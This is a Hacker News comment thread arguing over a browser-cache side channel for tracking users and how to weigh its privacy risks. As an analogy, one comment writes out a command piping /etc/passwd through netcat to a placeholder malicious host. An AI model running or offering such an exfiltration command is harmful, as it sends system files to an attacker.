Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

That is a different technique that uses the same medium of storage. When I say "this technique" I'm referring to specifically what was discussed in the article.

"Evil tracking companies will do evil things with any protocol features you give them" is already well known and there's not much to say about it that hasn't been said. What OP is actually doing is clever and new to me.



I agree that it is clever, and it is new to me as well. However, saying that an obvious extension to a technique (posted by multiple people independently, no less) is a different technique altogether and therefore not germane is going a bit far.

If I post a privilege escalation exploit that allows me to execute "cat /etc/sudoers", and somebody points out that it could also be used to execute "cat /etc/passwd | netcat malicious-remote-server.com", that's an obvious extension of the same technique. This is the same, where the same technique may be used for more intrusive attacks than are performed in the initial proof of concept.


This kind of attack isn't new, though, trackers have been using side channel tracking forever now. A quick search shows that this exact side channel tracking vulnerability was discussed in the year 2000 [0].

I'm not saying the technique isn't similar: I just object to people dogpiling on OP because other people can and do abuse the same header in nefarious ways. It's not constructive, just a pointless attack on someone who's actually trying to improve privacy.

[0] http://www.sourcefrog.net/projects/meantime


I wasn't attempting to dogpile, and am sorry if it came across that way. I agree that this scheme would, if used as a replacement for cookies in the manner described by the OP, be a strict improvement on the current state. That's the first step in evaluating a proposed privacy improvement.

However, that is only sufficient if you already trust the operator of the server to maintain that same implementation. That may work for some threat models, such as a website that is currently run by a trusted individual that may later be bought by a malicious actor, but it isn't sufficient in all cases. Across the entire ecosystem, there's a sequence of questions that needs to be asked.

1. How would a non-malicious actor implement the proposed system?

2. What is the minimal amount of information that must be provided for a non-malicious actor to benefit from the proposed system?

3. What could a malicious actor do with that minimal amount of information?

4. If a malicious actor could use this information, are there additional steps the user can take to mitigate those effects?

Together, these questions help to predict the effects of the proposed implementation becoming the standard. Applying it to this article:

1. As described in the original post.

2. The browser must cache files according to the cache policy requested, and the browser provides accurate information about its cache for subsequent requests.

3. Answered in previous comments, that malicious actors could use this to reproduce the same information as is stored in cookies.

4. I'm not sure yet, but I'm picturing an approach where the "if-modified-since" header is deliberately varied for some requests, and abnormal results cause the caching policy of that website to be ignored as untrustworthy.

When people try to figure out what malicious acts could be done, it's moving the conversation from the first two questions and toward the last two questions. It isn't malicious, or reading into the original poster's intentions, but is an attempt to predict what malicious actions will eventually occur, and to implement mitigations as soon as possible.


Unrelated: The link to meantime.py on this page is broken, and the correct link is http://sourcefrog.net/projects/meantime/meantime.py




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: